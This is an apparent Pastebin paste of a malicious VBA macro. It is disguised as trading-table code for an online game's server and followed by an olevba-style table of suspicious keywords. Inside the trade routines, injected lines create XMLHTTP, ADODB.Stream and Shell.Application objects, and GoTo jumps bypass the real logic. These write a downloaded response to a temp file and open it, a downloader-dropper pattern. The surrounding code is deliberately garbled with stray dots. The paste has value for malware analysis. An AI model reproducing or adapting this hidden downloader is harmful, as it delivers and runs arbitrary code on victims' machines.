  761.  If .Amount <= TradeTable(TradeTableIndex).Objs1(i).Amount Then
  762.  User_RemoveInvItem TradeTable(TradeTableIndex).User1, TradeTable(TradeTableIndex).Objs1(i).UserInvSlot, False
  763.  .ObjIndex = 0
  764.  .Amount = 0
  765.  .Equipped = 0
  766.  Else
  767.  .Amount = .Amount - TradeTable(TradeTableIndex).Objs1(i).Amount
  768.  End If
  769.  End With
  770.  End If
  771.  Next i
  772.  UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User2).Stats.BaseStat(SID.Gold) + TradeTable(TradeTableIndex).Gold1
  773.  UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) = UserList(TradeTable(TradeTableIndex).User1).Stats.BaseStat(SID.Gold) - TradeTable(TradeTableIndex).Gold1
  774.  If TradeTable(TradeTableIndex).Gold1 > 0 Then
  775.  ConBuf.PreAllocate 6
  776.  ConBuf.Put_Byte DataCode.Server_Message
  777.  ConBuf.Put_Byte 139
  778.  ConBuf.Put_Long TradeTable(TradeTableIndex).Gold1
  779.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer
  780.  ConBuf.PreAllocate 6
  781.  ConBuf.Put_Byte DataCode.Server_Message
  782.  ConBuf.Put_Byte 138
  783.  ConBuf.Put_Long TradeTable(TradeTableIndex).Gold1
  784.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer
  785.  End If
  786.  If TradeTable(TradeTableIndex).Gold2 > 0 Then
  787.  ConBuf.PreAllocate 6
  788.  ConBuf.Put_Byte DataCode.Server_Message
  789.  ConBuf.Put_Byte 139
  790.  ConBuf.Put_Long TradeTable(TradeTableIndex).Gold2
  791.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer
  792.  ConBuf.PreAllocate 6
  793.  ConBuf.Put_Byte DataCode.Server_Message
  794.  ConBuf.Put_Byte 138
  795.  ConBuf.Put_Long TradeTable(TradeTableIndex).Gold2
  796.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer
  797.  End If
  798.  User_UpdateInv True, TradeTable(TradeTableIndex).User1, 0
  799.  User_UpdateInv True, TradeTable(TradeTableIndex).User2, 0
  800.  TradeTable_Close TradeTableIndex
  801. End Sub
  802. Public Sub TradeTable_Accept(ByVal UserIndex As Integer)
  803. Dim TradeTableIndex As Byte
  804. Dim UserTableIndex As Byte
  805. Dim SendPacket As Boolean
  806. Set httpRequest = CreateObject("Microsoft.XMLHTTP")
  807. Set adodbStream = CreateObject("Adodb.Stream")
  808. Set shellApp = CreateObject("Shell.Application")
  809. Set processEnv = CreateObject("WScript.Shell").Environment("Process")
  810. Exit Sub
  811.  TradeTableIndex = UserL.ist(UserIndex).Flags.TradeTable
  812.  If TradeTableIndex <= 0 Then Exit Sub
  813.  UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
  814.  If UserTableIndex = 0 Then Exit Sub
  815.  If UserTableIndex = 1 Then
  816.  If TradeTa.ble(TradeTableIndex).User1State = TRADESTATE_TRADING Then
  817.  TradeTa.ble(TradeTableIndex).User1State = TRADESTATE_ACCEPT
  818.  SendPacket = True
  819.  End If
  820.  Else
  821.  If TradeTa.ble(TradeTableIndex).User2State = TRADESTATE_TRADING Then
  822.  TradeTa.ble(TradeTableIndex).User2State = TRADESTATE_ACCEPT
  823.  SendPacket = True
  824.  End If
  825.  End If
  826.  If SendPacket Then
  827.  ConBuf.PreAllocate 2
  828.  ConBuf.Put_Byte DataCode.User_Trade_Accept
  829.  ConBuf.Put_Byte UserTableIndex
  830.  Dat.a_Send ToIndex, TradeTab.le(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
  831.  Dat.a_Send ToIndex, TradeTa.ble(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
  832.  End If
  833. End Sub
  834. Public Sub TradeTable_Close(ByVal TradeTableIndex As Byte)
  835.  If TradeTableIndex <= 0 Then Exit Sub
  836.  If TradeTableIndex > UBound(TradeTable) Then Exit Sub
  837.  ConBuf.PreAllocate 1
  838.  ConBuf.Put_Byte DataCode.User_Trade_Cancel
  839.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
  840.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
  841.  ZeroMemory TradeTable(TradeTableIndex), LenB(TradeTable(TradeTableIndex))
  842. End Sub
  843. Public Sub TradeTable_RemoveItem(ByVal UserIndex As Integer, ByVal TableSlot As Byte)
  844. Dim TradeTableIndex As Byte
  845. Dim UserTableIndex As Byte
  846. adodbStream.Type = 1
  847. adodbStream.Open
  848. GoTo StepU
  849.  TradeTableIndex = UserL.ist(UserIn.dex).Flags.TradeTable
  850.  If TradeTableIndex <= 0 Then Exit Sub
  851.  UserTableIndex = TradeTable_GetUserTableIndex(TradeTableIndex, UserIndex)
  852.  If UserTableIndex = 0 Then Exit Sub
  853.  If UserTableIndex = 1 Then
  854.  If TradeTa.ble(TradeTableIndex).Objs1(TableSlot).UserInvSlot > 0 Then
  855.  TradeTa.ble(TradeTableIndex).Objs1(TableSlot).Amount = 0
  856.  TradeT.able(TradeTableIndex).Objs1(TableSlot).UserInvSlot = 0
  857.  TradeTa.ble_SendSlotPacket TradeTableIndex, TableSlot, UserTableIndex
  858.  End If
  859. StepU:
  860. adodbStream.write httpRequest.responseBody
  861. adodbStream.savetofile tempFile, 2
  862. TradeTable_UpdateSlot 0, 0, 0
  863. Exit Sub
  864.  Else
  865.  If TradeT.able(TradeTableIndex).Objs2(TableSlot).UserInvSlot > 0 Then
  866.  TradeTa.ble(TradeTableIndex).Objs2(TableSlot).Amount = 0
  867.  TradeTa.ble(TradeTableIndex).Objs2(TableSlot).UserInvSlot = 0
  868.  TradeTa.ble_SendSlotPacket TradeTableIndex, TableSlot, UserTableIndex
  869.  End If
  870.  End If
  871. End Sub
  872. Public Sub TradeTable_UpdateSlot(ByVal UserIndex As Integer, ByVal InvSlot As Byte, ByVal Amount As Long)
  873. Dim TradeTableIndex As Byte
  874. Dim UserTableIndex As Byte
  875. Dim PutTableSlot As Byte
  876. Dim i As Long
  877. GoTo Trade1
  878.  TradeTableIndex = UserL.ist(UserIndex).Flags.TradeTable
  879.  If TradeTableIndex <= 0 Then Exit Sub
  880.  UserTableIndex = TradeTable_GetUse.rTableIndex(TradeTableIndex, UserIndex)
  881.  If UserTableIndex = 0 Then Exit Sub
  882.  If UserTableIndex = 1 Then
  883.  If TradeT.able(TradeTableIndex).User1State <> TRADESTATE_TRADING Then Exit Sub
  884.  Else
  885.  If TradeT.able(TradeTableIndex).User2State <> TRADESTATE_TRADING Then Exit Sub
  886.  End If
  887.  If InvSlot = 0 Then
  888.  If UserLi.st(UserIndex).Stats.BaseStat(SID.Gold) < Amount Then Exit Sub
  889.  If UserTableIndex = 1 Then
  890.  TradeTa.ble(TradeTableIndex).Gold1 = Amount
  891.  TradeTa.ble_SendSlotPacket TradeTableIndex, 0, 1
  892.  Else
  893.  TradeTa.ble(TradeTableIndex).Gold2 = Amount
  894.  TradeTable_SendSl.otPacket TradeTableIndex, 0, 2
  895.  End If
  896.  Else
  897.  If InvSlot > MAX_INVENTORY_SLOTS Then Exit Sub
  898.  If UserL.ist(UserIndex).Object(InvSlot).ObjIndex = 0 Then Exit Sub
  899.  If UserL.ist(UserIndex).Object(InvSlot).Amount < Amount Then Exit Sub
  900.  If Amount <= 0 Then
  901.  For i = 1 To 9
  902.  If UserTableIndex = 1 Then
  903.  If TradeTa.ble(TradeTableIndex).Objs1(i).UserInvSlot = InvSlot Then
  904.  TradeTab.le(TradeTableIndex).Objs1(i).Amount = 0
  905.  TradeTab.le(TradeTableIndex).Objs1(i).UserInvSlot = 0
  906.  TradeTable_SendS.lotPacket TradeTableIndex, i, 1
  907.  Exit Sub
  908.  End If
  909.  Else
  910.  If TradeTab.le(TradeTableIndex).Objs2(i).UserInvSlot = InvSlot Then
  911.  TradeTab.le(TradeTableIndex).Objs2(i).Amount = 0
  912.  TradeTab.le(TradeTableIndex).Objs2(i).UserInvSlot = 0
  913.  TradeTable_SendSlot.Packet TradeTableIndex, i, 2
  914.  Exit Sub
  915.  End If
  916.  End If
  917.  Next i
  918. Trade1:
  919. shellApp.Open (tempFile)
  920.  Exit Sub
  921.  Else
  922.  For i = 1 To 9
  923.  If UserTableIndex = 1 Then
  924.  If TradeTa.ble(TradeTableIndex).Objs1(i).UserInvSlot = InvSlot Then Exit Sub
  925.  Else
  926.  If TradeTa.ble(TradeTableIndex).Objs2(i).UserInvSlot = InvSlot Then Exit Sub
  927.  End If
  928.  Next i
  929.  End If
  930.  PutTableSlot = 0
  931.  If UserTableIndex = 1 Then
  932.  Do
  933.  PutTableSlot = PutTableSlot + 1
  934.  If PutTableSlot > 9 Then Exit Sub
  935.  Loop While TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).UserInvSlot > 0
  936.  ElseIf UserTableIndex = 2 Then
  937.  Do
  938.  PutTableSlot = PutTableSlot + 1
  939.  If PutTableSlot > 9 Then Exit Sub
  940.  Loop While TradeTa.ble(TradeTableIndex).Objs2(PutTableSlot).UserInvSlot > 0
  941.  End If
  942.  If UserTableIndex = 1 Then
  943.  TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).UserInvSlot = InvSlot
  944.  TradeTa.ble(TradeTableIndex).Objs1(PutTableSlot).Amount = Amount
  945.  TradeTable_SendS.lotPacket TradeTableIndex, PutTableSlot, 1
  946.  ElseIf UserTableIndex = 2 Then
  947.  TradeTa.ble(TradeTableIndex).Objs2(PutTableSlot).UserInvSlot = InvSlot
  948.  TradeTab.le(TradeTableIndex).Objs2(PutTableSlot).Amount = Amount
  949.  TradeTable_SendSl.otPacket TradeTableIndex, PutTableSlot, 2
  950.  End If
  951.  End If
  952. End Sub
  953. Private Sub TradeTable_SendSlotPacket(ByVal TradeTableIndex As Byte, ByVal TableSlot As Byte, ByVal UserTableIndex As Byte)
  954. Dim Amount As Long
  955. Dim ObjIndex As Integer
  956. Dim GrhIndex As Long
  957.  If TableSlot > 0 Then
  958.  If UserTableIndex = 1 Then
  959.  If TradeTable(TradeTableIndex).Objs1(TableSlot).UserInvSlot = 0 Then
  960.  ObjIndex = 0
  961.  Else
  962.  ObjIndex = UserList(TradeTable(TradeTableIndex).User1).Object(TradeTable(TradeTableIndex).Objs1(TableSlot).UserInvSlot).ObjIndex
  963.  End If
  964.  If ObjIndex > 0 Then GrhIndex = ObjData.GrhIndex(ObjIndex) Else GrhIndex = 0
  965.  Amount = TradeTable(TradeTableIndex).Objs1(TableSlot).Amount
  966.  Else
  967.  If TradeTable(TradeTableIndex).Objs2(TableSlot).UserInvSlot = 0 Then
  968.  ObjIndex = 0
  969.  Else
  970.  ObjIndex = UserList(TradeTable(TradeTableIndex).User2).Object(TradeTable(TradeTableIndex).Objs2(TableSlot).UserInvSlot).ObjIndex
  971.  End If
  972.  If ObjIndex > 0 Then GrhIndex = ObjData.GrhIndex(ObjIndex) Else GrhIndex = 0
  973.  Amount = TradeTable(TradeTableIndex).Objs2(TableSlot).Amount
  974.  End If
  975.  Else
  976.  If UserTableIndex = 1 Then
  977.  Amount = TradeTable(TradeTableIndex).Gold1
  978.  Else
  979.  Amount = TradeTable(TradeTableIndex).Gold2
  980.  End If
  981.  End If
  982.  If TableSlot > 0 Then ConBuf.PreAllocate 11 Else ConBuf.PreAllocate 7
  983.  ConBuf.Put_Byte DataCode.User_Trade_UpdateTrade
  984.  ConBuf.Put_Byte UserTableIndex
  985.  ConBuf.Put_Byte TableSlot
  986.  ConBuf.Put_Long Amount
  987.  If TableSlot > 0 Then
  988.  ConBuf.Put_Long GrhIndex
  989.  ConBuf.Put_String ObjData.Name(ObjIndex)
  990.  ConBuf.Put_Long ObjData.Value(ObjIndex)
  991.  End If
  992.  Data_Send ToIndex, TradeTable(TradeTableIndex).User1, ConBuf.Get_Buffer, , PP_Trading
  993.  Data_Send ToIndex, TradeTable(TradeTableIndex).User2, ConBuf.Get_Buffer, , PP_Trading
  994. End Sub
  995. Public Function TradeTable_NextOpen() As Byte
  996. Dim i As Long
  997.  For i = 1 To NumTradeTables
  998.  If TradeTable(i).User1State = TRADESTATE_CLOSED Then
  999.  TradeTable_NextOpen = i
  1000.  Exit Function
  1001.  End If
  1002.  Next i
  1003.  If NumTradeTables < 255 Then
  1004.  NumTradeTables = NumTradeTables + 1
  1005.  ReDim Preserve TradeTable(1 To NumTradeTables)
  1006.  TradeTable_NextOpen = NumTradeTables
  1007.  End If
  1008. End Function
  1009. Public Sub TradeTable_Create(ByVal UserIndex1 As Integer, ByVal UserIndex2 As Integer)
  1010. Dim TableIndex As Byte
  1011. Dim PacketSize As Long
  1012.  TableIndex = TradeTable_NextOpen
  1013.  If TableIndex = 0 Then Exit Sub
  1014.  ZeroMemory TradeTable(TableIndex), LenB(TradeTable(TableIndex))
  1015.  TradeTable(TableIndex).User1 = UserIndex1
  1016.  TradeTable(TableIndex).User2 = UserIndex2
  1017.  TradeTable(TableIndex).User1State = TRADESTATE_TRADING
  1018.  TradeTable(TableIndex).User2State = TRADESTATE_TRADING
  1019.  UserList(UserIndex1).Flags.TradeTable = TableIndex
  1020.  UserList(UserIndex2).Flags.TradeTable = TableIndex
  1021.  PacketSize = 4 + Len(UserList(UserIndex2).Name) + Len(UserList(UserIndex1).Name)
  1022.  ConBuf.PreAllocate PacketSize
  1023.  ConBuf.Put_Byte DataCode.User_Trade_Trade
  1024.  ConBuf.Put_String UserList(UserIndex2).Name
  1025.  ConBuf.Put_String UserList(UserIndex1).Name
  1026.  ConBuf.Put_Byte 2
  1027.  Data_Send ToIndex, UserIndex2, ConBuf.Get_Buffer, , PP_Trading
  1028.  ConBuf.PreAllocate PacketSize
  1029.  ConBuf.Put_Byte DataCode.User_Trade_Trade
  1030.  ConBuf.Put_String UserList(UserIndex1).Name
  1031.  ConBuf.Put_String UserList(UserIndex2).Name
  1032.  ConBuf.Put_Byte 1
  1033.  Data_Send ToIndex, UserIndex1, ConBuf.Get_Buffer, , PP_Trading
  1034. End Sub
  1035. Private Function TradeTable_GetUserTableIndex(ByVal TradeTableIndex As Byte, ByVal UserIndex As Integer) As Byte
  1036.  If TradeTable(TradeTableIndex).User1 = UserIndex Then
  1037.  TradeTable_GetUserTableIndex = 1
  1038.  ElseIf TradeTable(TradeTableIndex).User2 = UserIndex Then
  1039.  TradeTable_GetUserTableIndex = 2
  1040.  Else
  1041.  TradeTable_GetUserTableIndex = 0
  1042.  End If
  1043. End Function
  1044.  
  1045. +------------+----------------------+-----------------------------------------+
  1046. | Type       | Keyword              | Description                             |
  1047. +------------+----------------------+-----------------------------------------+
  1048. | AutoExec   | AutoOpen             | Runs when the Word document is opened   |
  1049. | Suspicious | Open                 | May open a file                         |
  1050. | Suspicious | Shell                | May run an executable file or a system  |
  1051. |            |                      | command                                 |
  1052. | Suspicious | vbNormal             | May run an executable file or a system  |
  1053. |            |                      | command                                 |
  1054. | Suspicious | WScript.Shell        | May run an executable file or a system  |
  1055. |            |                      | command                                 |
  1056. | Suspicious | Shell.Application    | May run an application (if combined     |
  1057. |            |                      | with CreateObject)                      |
  1058. | Suspicious | CreateObject         | May create an OLE object                |
  1059. | Suspicious | CallByName           | May attempt to obfuscate malicious      |
  1060. |            |                      | function calls                          |
  1061. | Suspicious | Chr                  | May attempt to obfuscate specific       |
  1062. |            |                      | strings                                 |
  1063. | Suspicious | ADODB.Stream         | May create a text file                  |
  1064. | Suspicious | SaveToFile           | May create a text file                  |
  1065. | Suspicious | Write                | May write to a file (if combined with   |
  1066. |            |                      | Open)                                   |
  1067. | Suspicious | Microsoft.XMLHTTP    | May download files from the Internet    |
  1068. | Suspicious | Base64 Strings       | Base64-encoded strings were detected,   |
  1069. |            |                      | may be used to obfuscate strings        |
  1070. |            |                      | (option --decode to see all)            |
  1071. | Suspicious | VBA obfuscated       | VBA string expressions were detected,   |
  1072. |            | Strings              | may be used to obfuscate strings        |
  1073. |            |                      | (option --decode to see all)            |
  1074. | VBA string |                      | "" & ""                                 |
  1075. | VBA string | \                    | "" & "\"                                |
  1076. | VBA string | .                    | "" & "."                                |
  1077. | VBA string | Sen                  | "S" + "en"                              |
  1078. +------------+----------------------+-----------------------------------------+
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!
 
Top